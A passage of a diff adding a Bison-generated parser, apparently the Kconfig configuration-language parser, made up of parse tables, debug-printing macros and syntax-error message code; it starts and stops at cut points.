93, 96, 99, 102, + 105, 108, 112, 117, 122, 127, 133, 137, 138, 142, + 143, 146, 150, 153, 155, 159, 160, 163, 166, 169, + 172, 175, 180, 184, 187, 192, 193, 196, 200, 202, + 206, 207, 210, 213, 216, 220, 224, 228, 230, 234, + 235, 238, 241, 244, 248, 252, 255, 258, 261, 262, + 265, 268, 271, 276, 277, 280, 283, 286, 287, 290, + 292, 294, 297, 300, 303, 305, 308, 309, 312, 314, + 318, 322, 326, 329, 333, 337, 339, 341, 342 +}; + +/* YYRHS -- A `-1'-separated list of the rules' RHS. */ +static const yytype_int8 yyrhs[] = +{ + 37, 0, -1, 81, 38, -1, 38, -1, 63, 39, + -1, 39, -1, -1, 39, 41, -1, 39, 55, -1, + 39, 67, -1, 39, 80, -1, 39, 26, 1, 31, + -1, 39, 40, 1, 31, -1, 39, 1, 31, -1, + 16, -1, 18, -1, 19, -1, 21, -1, 17, -1, + 22, -1, 20, -1, 23, -1, 31, -1, 61, -1, + 71, -1, 44, -1, 46, -1, 69, -1, 26, 1, + 31, -1, 1, 31, -1, 10, 26, 31, -1, 43, + 47, -1, 11, 26, 31, -1, 45, 47, -1, -1, + 47, 48, -1, 47, 49, -1, 47, 75, -1, 47, + 73, -1, 47, 42, -1, 47, 31, -1, 19, 78, + 31, -1, 18, 79, 82, 31, -1, 20, 83, 82, + 31, -1, 21, 26, 82, 31, -1, 22, 84, 84, + 82, 31, -1, 24, 50, 31, -1, -1, 50, 26, + 51, -1, -1, 34, 79, -1, 7, 85, 31, -1, + 52, 56, -1, 80, -1, 53, 58, 54, -1, -1, + 56, 57, -1, 56, 75, -1, 56, 73, -1, 56, + 31, -1, 56, 42, -1, 18, 79, 82, 31, -1, + 19, 78, 31, -1, 17, 31, -1, 20, 26, 82, + 31, -1, -1, 58, 41, -1, 14, 83, 81, -1, + 80, -1, 59, 62, 60, -1, -1, 62, 41, -1, + 62, 67, -1, 62, 55, -1, 3, 79, 81, -1, + 4, 79, 31, -1, 64, 76, 74, -1, 80, -1, + 65, 68, 66, -1, -1, 68, 41, -1, 68, 67, + -1, 68, 55, -1, 6, 79, 31, -1, 9, 79, + 31, -1, 70, 74, -1, 12, 31, -1, 72, 13, + -1, -1, 74, 75, -1, 74, 31, -1, 74, 42, + -1, 16, 25, 83, 31, -1, -1, 76, 77, -1, + 76, 31, -1, 23, 82, -1, -1, 79, 82, -1, + 26, -1, 27, -1, 5, 31, -1, 8, 31, -1, + 15, 31, -1, 31, -1, 81, 31, -1, -1, 14, + 83, -1, 84, -1, 84, 34, 84, -1, 84, 28, + 84, -1, 30, 83, 29, -1, 35, 83, -1, 83, + 32, 83, -1, 83, 33, 83, -1, 26, -1, 27, + -1, -1, 26, -1 +}; + +/* YYRLINE[YYN] -- source line where rule number YYN was defined. */ +static const yytype_uint16 yyrline[] = +{ + 0, 103, 103, 103, 105, 105, 107, 109, 110, 111, + 112, 113, 114, 118, 122, 122, 122, 122, 122, 122, + 122, 122, 126, 127, 128, 129, 130, 131, 135, 136, + 142, 150, 156, 164, 174, 176, 177, 178, 179, 180, + 181, 184, 192, 198, 208, 214, 220, 223, 225, 236, + 237, 242, 251, 256, 264, 267, 269, 270, 271, 272, + 273, 276, 282, 293, 299, 309, 311, 316, 324, 332, + 335, 337, 338, 339, 344, 351, 358, 363, 371, 374, + 376, 377, 378, 381, 389, 396, 403, 409, 416, 418, + 419, 420, 423, 431, 433, 434, 437, 444, 446, 451, + 452, 455, 456, 457, 461, 462, 465, 466, 469, 470, + 471, 472, 473, 474, 475, 478, 479, 482, 483 +}; +#endif + +#if YYDEBUG || YYERROR_VERBOSE || YYTOKEN_TABLE +/* YYTNAME[SYMBOL-NUM] -- String name of the symbol SYMBOL-NUM. + First, the terminals, then, starting at YYNTOKENS, nonterminals. */ +static const char *const yytname[] = +{ + "$end", "error", "$undefined", "T_MAINMENU", "T_MENU", "T_ENDMENU", + "T_SOURCE", "T_CHOICE", "T_ENDCHOICE", "T_COMMENT", "T_CONFIG", + "T_MENUCONFIG", "T_HELP", "T_HELPTEXT", "T_IF", "T_ENDIF", "T_DEPENDS", + "T_OPTIONAL", "T_PROMPT", "T_TYPE", "T_DEFAULT", "T_SELECT", "T_RANGE", + "T_VISIBLE", "T_OPTION", "T_ON", "T_WORD", "T_WORD_QUOTE", "T_UNEQUAL", + "T_CLOSE_PAREN", "T_OPEN_PAREN", "T_EOL", "T_OR", "T_AND", "T_EQUAL", + "T_NOT", "$accept", "input", "start", "stmt_list", "option_name", + "common_stmt", "option_error", "config_entry_start", "config_stmt", + "menuconfig_entry_start", "menuconfig_stmt", "config_option_list", + "config_option", "symbol_option", "symbol_option_list", + "symbol_option_arg", "choice", "choice_entry", "choice_end", + "choice_stmt", "choice_option_list", "choice_option", "choice_block", + "if_entry", "if_end", "if_stmt", "if_block", "mainmenu_stmt", "menu", + "menu_entry", "menu_end", "menu_stmt", "menu_block", "source_stmt", + "comment", "comment_stmt", "help_start", "help", "depends_list", + "depends", "visibility_list", "visible", "prompt_stmt_opt", "prompt", + "end", "nl", "if_expr", "expr", "symbol", "word_opt", 0 +}; +#endif + +# ifdef YYPRINT +/* YYTOKNUM[YYLEX-NUM] -- Internal token number corresponding to + token YYLEX-NUM. */ +static const yytype_uint16 yytoknum[] = +{ + 0, 256, 257, 258, 259, 260, 261, 262, 263, 264, + 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, + 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, + 285, 286, 287, 288, 289, 290 +}; +# endif + +/* YYR1[YYN] -- Symbol number of symbol that rule YYN derives. */ +static const yytype_uint8 yyr1[] = +{ + 0, 36, 37, 37, 38, 38, 39, 39, 39, 39, + 39, 39, 39, 39, 40, 40, 40, 40, 40, 40, + 40, 40, 41, 41, 41, 41, 41, 41, 42, 42, + 43, 44, 45, 46, 47, 47, 47, 47, 47, 47, + 47, 48, 48, 48, 48, 48, 49, 50, 50, 51, + 51, 52, 53, 54, 55, 56, 56, 56, 56, 56, + 56, 57, 57, 57, 57, 58, 58, 59, 60, 61, + 62, 62, 62, 62, 63, 64, 65, 66, 67, 68, + 68, 68, 68, 69, 70, 71, 72, 73, 74, 74, + 74, 74, 75, 76, 76, 76, 77, 78, 78, 79, + 79, 80, 80, 80, 81, 81, 82, 82, 83, 83, + 83, 83, 83, 83, 83, 84, 84, 85, 85 +}; + +/* YYR2[YYN] -- Number of symbols composing right hand side of rule YYN. */ +static const yytype_uint8 yyr2[] = +{ + 0, 2, 2, 1, 2, 1, 0, 2, 2, 2, + 2, 4, 4, 3, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 3, 2, + 3, 2, 3, 2, 0, 2, 2, 2, 2, 2, + 2, 3, 4, 4, 4, 5, 3, 0, 3, 0, + 2, 3, 2, 1, 3, 0, 2, 2, 2, 2, + 2, 4, 3, 2, 4, 0, 2, 3, 1, 3, + 0, 2, 2, 2, 3, 3, 3, 1, 3, 0, + 2, 2, 2, 3, 3, 2, 2, 2, 0, 2, + 2, 2, 4, 0, 2, 2, 2, 0, 2, 1, + 1, 2, 2, 2, 1, 2, 0, 2, 1, 3, + 3, 3, 2, 3, 3, 1, 1, 0, 1 +}; + +/* YYDEFACT[STATE-NAME] -- Default reduction number in state STATE-NUM. + Performed when YYTABLE doesn't specify something else to do. Zero + means the default is an error. */ +static const yytype_uint8 yydefact[] = +{ + 6, 0, 104, 0, 3, 0, 6, 6, 99, 100, + 0, 1, 0, 0, 0, 0, 117, 0, 0, 0, + 0, 0, 0, 14, 18, 15, 16, 20, 17, 19, + 21, 0, 22, 0, 7, 34, 25, 34, 26, 55, + 65, 8, 70, 23, 93, 79, 9, 27, 88, 24, + 10, 0, 105, 2, 74, 13, 0, 101, 0, 118, + 0, 102, 0, 0, 0, 115, 116, 0, 0, 0, + 108, 103, 0, 0, 0, 0, 0, 0, 0, 88, + 0, 0, 75, 83, 51, 84, 30, 32, 0, 112, + 0, 0, 67, 0, 0, 11, 12, 0, 0, 0, + 0, 97, 0, 0, 0, 47, 0, 40, 39, 35, + 36, 0, 38, 37, 0, 0, 97, 0, 59, 60, + 56, 58, 57, 66, 54, 53, 71, 73, 69, 72, + 68, 106, 95, 0, 94, 80, 82, 78, 81, 77, + 90, 91, 89, 111, 113, 114, 110, 109, 29, 86, + 0, 106, 0, 106, 106, 106, 0, 0, 0, 87, + 63, 106, 0, 106, 0, 96, 0, 0, 41, 98, + 0, 0, 106, 49, 46, 28, 0, 62, 0, 107, + 92, 42, 43, 44, 0, 0, 48, 61, 64, 45, + 50 +}; + +/* YYDEFGOTO[NTERM-NUM]. */ +static const yytype_int16 yydefgoto[] = +{ + -1, 3, 4, 5, 33, 34, 108, 35, 36, 37, + 38, 74, 109, 110, 157, 186, 39, 40, 124, 41, + 76, 120, 77, 42, 128, 43, 78, 6, 44, 45, + 137, 46, 80, 47, 48, 49, 111, 112, 81, 113, + 79, 134, 152, 153, 50, 7, 165, 69, 70, 60 +}; + +/* YYPACT[STATE-NUM] -- Index in YYTABLE of the portion describing + STATE-NUM. */ +#define YYPACT_NINF -90 +static const yytype_int16 yypact[] = +{ + 4, 42, -90, 96, -90, 111, -90, 15, -90, -90, + 75, -90, 82, 42, 104, 42, 110, 107, 42, 115, + 125, -4, 121, -90, -90, -90, -90, -90, -90, -90, + -90, 162, -90, 163, -90, -90, -90, -90, -90, -90, + -90, -90, -90, -90, -90, -90, -90, -90, -90, -90, + -90, 139, -90, -90, 138, -90, 142, -90, 143, -90, + 152, -90, 164, 167, 168, -90, -90, -4, -4, 77, + -18, -90, 177, 185, 33, 71, 195, 247, 236, -2, + 236, 171, -90, -90, -90, -90, -90, -90, 41, -90, + -4, -4, 138, 97, 97, -90, -90, 186, 187, 194, + 42, 42, -4, 196, 97, -90, 219, -90, -90, -90, + -90, 210, -90, -90, 204, 42, 42, 199, -90, -90, + -90, -90, -90, -90, -90, -90, -90, -90, -90, -90, + -90, 222, -90, 223, -90, -90, -90, -90, -90, -90, + -90, -90, -90, -90, 215, -90, -90, -90, -90, -90, + -4, 222, 228, 222, -5, 222, 97, 35, 229, -90, + -90, 222, 232, 222, -4, -90, 135, 233, -90, -90, + 234, 235, 222, 240, -90, -90, 237, -90, 239, -13, + -90, -90, -90, -90, 244, 42, -90, -90, -90, -90, + -90 +}; + +/* YYPGOTO[NTERM-NUM]. */ +static const yytype_int16 yypgoto[] = +{ + -90, -90, 269, 271, -90, 23, -70, -90, -90, -90, + -90, 243, -90, -90, -90, -90, -90, -90, -90, -48, + -90, -90, -90, -90, -90, -90, -90, -90, -90, -90, + -90, -20, -90, -90, -90, -90, -90, 206, 205, -68, + -90, -90, 169, -1, 27, -7, 118, -66, -89, -90 +}; + +/* YYTABLE[YYPACT[STATE-NUM]]. What to do in state STATE-NUM. If + positive, shift that token. If negative, reduce the rule which + number is the opposite. If YYTABLE_NINF, syntax error. */ +#define YYTABLE_NINF -86 +static const yytype_int16 yytable[] = +{ + 10, 88, 89, 54, 146, 147, 119, 1, 122, 164, + 93, 141, 56, 142, 58, 156, 94, 62, 1, 90, + 91, 131, 65, 66, 144, 145, 67, 90, 91, 132, + 127, 68, 136, -31, 97, 2, 154, -31, -31, -31, + -31, -31, -31, -31, -31, 98, 52, -31, -31, 99, + -31, 100, 101, 102, 103, 104, -31, 105, 129, 106, + 138, 173, 92, 141, 107, 142, 174, 172, 8, 9, + 143, -33, 97, 90, 91, -33, -33, -33, -33, -33, + -33, -33, -33, 98, 166, -33, -33, 99, -33, 100, + 101, 102, 103, 104, -33, 105, 11, 106, 179, 151, + 123, 126, 107, 135, 125, 130, 2, 139, 2, 90, + 91, -5, 12, 55, 161, 13, 14, 15, 16, 17, + 18, 19, 20, 65, 66, 21, 22, 23, 24, 25, + 26, 27, 28, 29, 30, 57, 59, 31, 61, -4, + 12, 63, 32, 13, 14, 15, 16, 17, 18, 19, + 20, 64, 71, 21, 22, 23, 24, 25, 26, 27, + 28, 29, 30, 72, 73, 31, 180, 90, 91, 52, + 32, -85, 97, 82, 83, -85, -85, -85, -85, -85, + -85, -85, -85, 84, 190, -85, -85, 99, -85, -85, + -85, -85, -85, -85, -85, 85, 97, 106, 86, 87, + -52, -52, 140, -52, -52, -52, -52, 98, 95, -52, + -52, 99, 114, 115, 116, 117, 96, 148, 149, 150, + 158, 106, 155, 159, 97, 163, 118, -76, -76, -76, + -76, -76, -76, -76, -76, 160, 164, -76, -76, 99, + 13, 14, 15, 16, 17, 18, 19, 20, 91, 106, + 21, 22, 14, 15, 140, 17, 18, 19, 20, 168, + 175, 21, 22, 177, 181, 182, 183, 32, 187, 167, + 188, 169, 170, 171, 185, 189, 53, 51, 32, 176, + 75, 178, 121, 0, 133, 162, 0, 0, 0, 0, + 184 +}; + +#define yypact_value_is_default(yystate) \ + ((yystate) == (-90)) + +#define yytable_value_is_error(yytable_value) \ + YYID (0) + +static const yytype_int16 yycheck[] = +{ + 1, 67, 68, 10, 93, 94, 76, 3, 76, 14, + 28, 81, 13, 81, 15, 104, 34, 18, 3, 32, + 33, 23, 26, 27, 90, 91, 30, 32, 33, 31, + 78, 35, 80, 0, 1, 31, 102, 4, 5, 6, + 7, 8, 9, 10, 11, 12, 31, 14, 15, 16, + 17, 18, 19, 20, 21, 22, 23, 24, 78, 26, + 80, 26, 69, 133, 31, 133, 31, 156, 26, 27, + 29, 0, 1, 32, 33, 4, 5, 6, 7, 8, + 9, 10, 11, 12, 150, 14, 15, 16, 17, 18, + 19, 20, 21, 22, 23, 24, 0, 26, 164, 100, + 77, 78, 31, 80, 77, 78, 31, 80, 31, 32, + 33, 0, 1, 31, 115, 4, 5, 6, 7, 8, + 9, 10, 11, 26, 27, 14, 15, 16, 17, 18, + 19, 20, 21, 22, 23, 31, 26, 26, 31, 0, + 1, 26, 31, 4, 5, 6, 7, 8, 9, 10, + 11, 26, 31, 14, 15, 16, 17, 18, 19, 20, + 21, 22, 23, 1, 1, 26, 31, 32, 33, 31, + 31, 0, 1, 31, 31, 4, 5, 6, 7, 8, + 9, 10, 11, 31, 185, 14, 15, 16, 17, 18, + 19, 20, 21, 22, 23, 31, 1, 26, 31, 31, + 5, 6, 31, 8, 9, 10, 11, 12, 31, 14, + 15, 16, 17, 18, 19, 20, 31, 31, 31, 25, + 1, 26, 26, 13, 1, 26, 31, 4, 5, 6, + 7, 8, 9, 10, 11, 31, 14, 14, 15, 16, + 4, 5, 6, 7, 8, 9, 10, 11, 33, 26, + 14, 15, 5, 6, 31, 8, 9, 10, 11, 31, + 31, 14, 15, 31, 31, 31, 31, 31, 31, 151, + 31, 153, 154, 155, 34, 31, 7, 6, 31, 161, + 37, 163, 76, -1, 79, 116, -1, -1, -1, -1, + 172 +}; + +/* YYSTOS[STATE-NUM] -- The (internal number of the) accessing + symbol of state STATE-NUM. */ +static const yytype_uint8 yystos[] = +{ + 0, 3, 31, 37, 38, 39, 63, 81, 26, 27, + 79, 0, 1, 4, 5, 6, 7, 8, 9, 10, + 11, 14, 15, 16, 17, 18, 19, 20, 21, 22, + 23, 26, 31, 40, 41, 43, 44, 45, 46, 52, + 53, 55, 59, 61, 64, 65, 67, 69, 70, 71, + 80, 39, 31, 38, 81, 31, 79, 31, 79, 26, + 85, 31, 79, 26, 26, 26, 27, 30, 35, 83, + 84, 31, 1, 1, 47, 47, 56, 58, 62, 76, + 68, 74, 31, 31, 31, 31, 31, 31, 83, 83, + 32, 33, 81, 28, 34, 31, 31, 1, 12, 16, + 18, 19, 20, 21, 22, 24, 26, 31, 42, 48, + 49, 72, 73, 75, 17, 18, 19, 20, 31, 42, + 57, 73, 75, 41, 54, 80, 41, 55, 60, 67, + 80, 23, 31, 74, 77, 41, 55, 66, 67, 80, + 31, 42, 75, 29, 83, 83, 84, 84, 31, 31, + 25, 79, 78, 79, 83, 26, 84, 50, 1, 13, + 31, 79, 78, 26, 14, 82, 83, 82, 31, 82, + 82, 82, 84, 26, 31, 31, 82, 31, 82, 83, + 31, 31, 31, 31, 82, 34, 51, 31, 31, 31, + 79 +}; + +#define yyerrok (yyerrstatus = 0) +#define yyclearin (yychar = YYEMPTY) +#define YYEMPTY (-2) +#define YYEOF 0 + +#define YYACCEPT goto yyacceptlab +#define YYABORT goto yyabortlab +#define YYERROR goto yyerrorlab + + +/* Like YYERROR except do call yyerror. This remains here temporarily + to ease the transition to the new meaning of YYERROR, for GCC. + Once GCC version 2 has supplanted version 1, this can go. However, + YYFAIL appears to be in use. Nevertheless, it is formally deprecated + in Bison 2.4.2's NEWS entry, where a plan to phase it out is + discussed. */ + +#define YYFAIL goto yyerrlab +#if defined YYFAIL + /* This is here to suppress warnings from the GCC cpp's + -Wunused-macros. Normally we don't worry about that warning, but + some users do, and we want to make it easy for users to remove + YYFAIL uses, which will produce warnings from Bison 2.5. */ +#endif + +#define YYRECOVERING() (!!yyerrstatus) + +#define YYBACKUP(Token, Value) \ +do \ + if (yychar == YYEMPTY && yylen == 1) \ + { \ + yychar = (Token); \ + yylval = (Value); \ + YYPOPSTACK (1); \ + goto yybackup; \ + } \ + else \ + { \ + yyerror (YY_("syntax error: cannot back up")); \ + YYERROR; \ + } \ +while (YYID (0)) + + +#define YYTERROR 1 +#define YYERRCODE 256 + + +/* YYLLOC_DEFAULT -- Set CURRENT to span from RHS[1] to RHS[N]. + If N is 0, then set CURRENT to the empty location which ends + the previous symbol: RHS[0] (always defined). */ + +#define YYRHSLOC(Rhs, K) ((Rhs)[K]) +#ifndef YYLLOC_DEFAULT +# define YYLLOC_DEFAULT(Current, Rhs, N) \ + do \ + if (YYID (N)) \ + { \ + (Current).first_line = YYRHSLOC (Rhs, 1).first_line; \ + (Current).first_column = YYRHSLOC (Rhs, 1).first_column; \ + (Current).last_line = YYRHSLOC (Rhs, N).last_line; \ + (Current).last_column = YYRHSLOC (Rhs, N).last_column; \ + } \ + else \ + { \ + (Current).first_line = (Current).last_line = \ + YYRHSLOC (Rhs, 0).last_line; \ + (Current).first_column = (Current).last_column = \ + YYRHSLOC (Rhs, 0).last_column; \ + } \ + while (YYID (0)) +#endif + + +/* This macro is provided for backward compatibility. */ + +#ifndef YY_LOCATION_PRINT +# define YY_LOCATION_PRINT(File, Loc) ((void) 0) +#endif + + +/* YYLEX -- calling `yylex' with the right arguments. */ + +#ifdef YYLEX_PARAM +# define YYLEX yylex (YYLEX_PARAM) +#else +# define YYLEX yylex () +#endif + +/* Enable debugging if requested. */ +#if YYDEBUG + +# ifndef YYFPRINTF +# include /* INFRINGES ON USER NAME SPACE */ +# define YYFPRINTF fprintf +# endif + +# define YYDPRINTF(Args) \ +do { \ + if (yydebug) \ + YYFPRINTF Args; \ +} while (YYID (0)) + +# define YY_SYMBOL_PRINT(Title, Type, Value, Location) \ +do { \ + if (yydebug) \ + { \ + YYFPRINTF (stderr, "%s ", Title); \ + yy_symbol_print (stderr, \ + Type, Value); \ + YYFPRINTF (stderr, "\n"); \ + } \ +} while (YYID (0)) + + +/*--------------------------------. +| Print this symbol on YYOUTPUT. | +`--------------------------------*/ + +/*ARGSUSED*/ +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +static void +yy_symbol_value_print (FILE *yyoutput, int yytype, YYSTYPE const * const yyvaluep) +#else +static void +yy_symbol_value_print (yyoutput, yytype, yyvaluep) + FILE *yyoutput; + int yytype; + YYSTYPE const * const yyvaluep; +#endif +{ + if (!yyvaluep) + return; +# ifdef YYPRINT + if (yytype < YYNTOKENS) + YYPRINT (yyoutput, yytoknum[yytype], *yyvaluep); +# else + YYUSE (yyoutput); +# endif + switch (yytype) + { + default: + break; + } +} + + +/*--------------------------------. +| Print this symbol on YYOUTPUT. | +`--------------------------------*/ + +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +static void +yy_symbol_print (FILE *yyoutput, int yytype, YYSTYPE const * const yyvaluep) +#else +static void +yy_symbol_print (yyoutput, yytype, yyvaluep) + FILE *yyoutput; + int yytype; + YYSTYPE const * const yyvaluep; +#endif +{ + if (yytype < YYNTOKENS) + YYFPRINTF (yyoutput, "token %s (", yytname[yytype]); + else + YYFPRINTF (yyoutput, "nterm %s (", yytname[yytype]); + + yy_symbol_value_print (yyoutput, yytype, yyvaluep); + YYFPRINTF (yyoutput, ")"); +} + +/*------------------------------------------------------------------. +| yy_stack_print -- Print the state stack from its BOTTOM up to its | +| TOP (included). | +`------------------------------------------------------------------*/ + +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +static void +yy_stack_print (yytype_int16 *yybottom, yytype_int16 *yytop) +#else +static void +yy_stack_print (yybottom, yytop) + yytype_int16 *yybottom; + yytype_int16 *yytop; +#endif +{ + YYFPRINTF (stderr, "Stack now"); + for (; yybottom <= yytop; yybottom++) + { + int yybot = *yybottom; + YYFPRINTF (stderr, " %d", yybot); + } + YYFPRINTF (stderr, "\n"); +} + +# define YY_STACK_PRINT(Bottom, Top) \ +do { \ + if (yydebug) \ + yy_stack_print ((Bottom), (Top)); \ +} while (YYID (0)) + + +/*------------------------------------------------. +| Report that the YYRULE is going to be reduced. | +`------------------------------------------------*/ + +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +static void +yy_reduce_print (YYSTYPE *yyvsp, int yyrule) +#else +static void +yy_reduce_print (yyvsp, yyrule) + YYSTYPE *yyvsp; + int yyrule; +#endif +{ + int yynrhs = yyr2[yyrule]; + int yyi; + unsigned long int yylno = yyrline[yyrule]; + YYFPRINTF (stderr, "Reducing stack by rule %d (line %lu):\n", + yyrule - 1, yylno); + /* The symbols being reduced. */ + for (yyi = 0; yyi < yynrhs; yyi++) + { + YYFPRINTF (stderr, " $%d = ", yyi + 1); + yy_symbol_print (stderr, yyrhs[yyprhs[yyrule] + yyi], + &(yyvsp[(yyi + 1) - (yynrhs)]) + ); + YYFPRINTF (stderr, "\n"); + } +} + +# define YY_REDUCE_PRINT(Rule) \ +do { \ + if (yydebug) \ + yy_reduce_print (yyvsp, Rule); \ +} while (YYID (0)) + +/* Nonzero means print parse trace. It is left uninitialized so that + multiple parsers can coexist. */ +int yydebug; +#else /* !YYDEBUG */ +# define YYDPRINTF(Args) +# define YY_SYMBOL_PRINT(Title, Type, Value, Location) +# define YY_STACK_PRINT(Bottom, Top) +# define YY_REDUCE_PRINT(Rule) +#endif /* !YYDEBUG */ + + +/* YYINITDEPTH -- initial size of the parser's stacks. */ +#ifndef YYINITDEPTH +# define YYINITDEPTH 200 +#endif + +/* YYMAXDEPTH -- maximum size the stacks can grow to (effective only + if the built-in stack extension method is used). + + Do not make this value too large; the results are undefined if + YYSTACK_ALLOC_MAXIMUM < YYSTACK_BYTES (YYMAXDEPTH) + evaluated with infinite-precision integer arithmetic. */ + +#ifndef YYMAXDEPTH +# define YYMAXDEPTH 10000 +#endif + + +#if YYERROR_VERBOSE + +# ifndef yystrlen +# if defined __GLIBC__ && defined _STRING_H +# define yystrlen strlen +# else +/* Return the length of YYSTR. */ +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +static YYSIZE_T +yystrlen (const char *yystr) +#else +static YYSIZE_T +yystrlen (yystr) + const char *yystr; +#endif +{ + YYSIZE_T yylen; + for (yylen = 0; yystr[yylen]; yylen++) + continue; + return yylen; +} +# endif +# endif + +# ifndef yystpcpy +# if defined __GLIBC__ && defined _STRING_H && defined _GNU_SOURCE +# define yystpcpy stpcpy +# else +/* Copy YYSRC to YYDEST, returning the address of the terminating '\0' in + YYDEST. */ +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +static char * +yystpcpy (char *yydest, const char *yysrc) +#else +static char * +yystpcpy (yydest, yysrc) + char *yydest; + const char *yysrc; +#endif +{ + char *yyd = yydest; + const char *yys = yysrc; + + while ((*yyd++ = *yys++) != '\0') + continue; + + return yyd - 1; +} +# endif +# endif + +# ifndef yytnamerr +/* Copy to YYRES the contents of YYSTR after stripping away unnecessary + quotes and backslashes, so that it's suitable for yyerror. The + heuristic is that double-quoting is unnecessary unless the string + contains an apostrophe, a comma, or backslash (other than + backslash-backslash). YYSTR is taken from yytname. If YYRES is + null, do not copy; instead, return the length of what the result + would have been. */ +static YYSIZE_T +yytnamerr (char *yyres, const char *yystr) +{ + if (*yystr == '"') + { + YYSIZE_T yyn = 0; + char const *yyp = yystr; + + for (;;) + switch (*++yyp) + { + case '\'': + case ',': + goto do_not_strip_quotes; + + case '\\': + if (*++yyp != '\\') + goto do_not_strip_quotes; + /* Fall through. */ + default: + if (yyres) + yyres[yyn] = *yyp; + yyn++; + break; + + case '"': + if (yyres) + yyres[yyn] = '\0'; + return yyn; + } + do_not_strip_quotes: ; + } + + if (! yyres) + return yystrlen (yystr); + + return yystpcpy (yyres, yystr) - yyres; +} +# endif + +/* Copy into *YYMSG, which is of size *YYMSG_ALLOC, an error message + about the unexpected token YYTOKEN for the state stack whose top is + YYSSP. + + Return 0 if *YYMSG was successfully written. Return 1 if *YYMSG is + not large enough to hold the message. In that case, also set + *YYMSG_ALLOC to the required number of bytes. Return 2 if the + required number of bytes is too large to store. */ +static int +yysyntax_error (YYSIZE_T *yymsg_alloc, char **yymsg, + yytype_int16 *yyssp, int yytoken) +{ + YYSIZE_T yysize0 = yytnamerr (0, yytname[yytoken]); + YYSIZE_T yysize = yysize0; + YYSIZE_T yysize1; + enum { YYERROR_VERBOSE_ARGS_MAXIMUM = 5 }; + /* Internationalized format string. */ + const char *yyformat = 0; + /* Arguments of yyformat. */ + char const *yyarg[YYERROR_VERBOSE_ARGS_MAXIMUM]; + /* Number of reported tokens (one for the "unexpected", one per + "expected"). */ + int yycount = 0; + + /* There are many possibilities here to consider: + - Assume YYFAIL is not used. It's too flawed to consider. See + + for details. YYERROR is fine as it does not invoke this + function. + - If this state is a consistent state with a default action, then + the only way this function was invoked is if the default action + is an error action. In that case, don't check for expected + tokens because there are none. + - The only way there can be no lookahead present (in yychar) is if + this state is a consistent state with a default action. Thus, + detecting the absence of a lookahead is sufficient to determine + that there is no unexpected or expected token to report. In that + case, just report a simple "syntax error". + - Don't assume there isn't a lookahead just because this state is a + consistent state with a default action. There might have been a + previous inconsistent state, consistent state with a non-default + action, or user semantic action that manipulated yychar. + - Of course, the expected token list depends on states to have + correct lookahead information, and it depends on the parser not + to perform extra reductions after fetching a lookahead from the + scanner and before detecting a syntax error. Thus, state merging + (from LALR or IELR) and default reductions corrupt the expected + token list. However, the list is correct for canonical LR with + one exception: it will still contain any token that will not be + accepted due to an error action in a later state. + */ + if (yytoken != YYEMPTY) + { + int yyn = yypact[*yyssp]; + yyarg[yycount++] = yytname[yytoken]; + if (!yypact_value_is_default (yyn)) + { + /* Start YYX at -YYN if negative to avoid negative indexes in + YYCHECK. In other words, skip the first -YYN actions for + this state because they are default actions. */ + int yyxbegin = yyn < 0 ? -yyn : 0; + /* Stay within bounds of both yycheck and yytname. */ + int yychecklim = YYLAST - yyn + 1; + int yyxend = yychecklim < YYNTOKENS ? yychecklim : YYNTOKENS; + int yyx; + + for (yyx = yyxbegin; yyx < yyxend; ++yyx) + if (yycheck[yyx + yyn] == yyx && yyx != YYTERROR + && !yytable_value_is_error (yytable[yyx + yyn])) + { + if (yycount == YYERROR_VERBOSE_ARGS_MAXIMUM) + { + yycount = 1; + yysize = yysize0; + break; + } + yyarg[yycount++] = yytname[yyx]; + yysize1 = yysize + yytnamerr (0, yytname[yyx]); + if (! (yysize <= yysize1 + && yysize1 <= YYSTACK_ALLOC_MAXIMUM)) + return 2; + yysize = yysize1; + } + } + } + + switch (yycount) + { +# define YYCASE_(N, S) \ + case N: \ + yyformat = S; \ + break + YYCASE_(0, YY_("syntax error")); + YYCASE_(1, YY_("syntax error, unexpected %s")); + YYCASE_(2, YY_("syntax error, unexpected %s, expecting %s")); + YYCASE_(3, YY_("syntax error, unexpected %s, expecting %s or %s")); + YYCASE_(4, YY_("syntax error, unexpected %s, expecting %s or %s or %s")); + YYCASE_(5, YY_("syntax error, unexpected %s, expecting %s or %s or %s or %s")); +# undef YYCASE_ + } + + yysize1 = yysize + yystrlen (yyformat); + if (! (yysize <= yysize1 && yysize1 <= YYSTACK_ALLOC_MAXIMUM)) + return 2; + yysize = yysize1; + + if (*yymsg_alloc < yysize) + { + *yymsg_alloc = 2 * yysize; + if (! (yysize <= *yymsg_alloc + && *yymsg_alloc <= YYSTACK_ALLOC_MAXIMUM)) + *yymsg_alloc = YYSTACK_ALLOC_MAXIMUM; + return 1; + } + + /* Avoid sprintf, as that infringes on the user's name space. + Don't have undefined behavior even if the translation + produced a string with the wrong number of "%s"s. */ + { + char *yyp = *yymsg; + int yyi = 0; + while ((*yyp = *yyformat) != '\0') + if (*yyp == '%' && yyformat[1] == 's' && yyi < yycount) + { + yyp += yytnamerr (yyp, yyarg[yyi++]); + yyformat += 2; + } + else + { + yyp++; + yyformat++; + } + } + return 0; +} +#endif /* YYERROR_VERBOSE */ + +/*-----------------------------------------------. +| Release the memory associated to this symbol. | +`-----------------------------------------------*/ + +/*ARGSUSED*/ +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +static void +yydestruct (const char *yymsg, int yytype, YYSTYPE *yyvaluep) +#else +static void +yydestruct (yymsg, yytype, yyvaluep) + const char *yymsg; + int yytype; + YYSTYPE *yyvaluep; +#endif +{ + YYUSE (yyvaluep); + + if (!yymsg) + yymsg = "Deleting"; + YY_SYMBOL_PRINT (yymsg, yytype, yyvaluep, yylocationp); + + switch (yytype) + { + case 53: /* "choice_entry" */ + + { + fprintf(stderr, "%s:%d: missing end statement for this entry\n", + 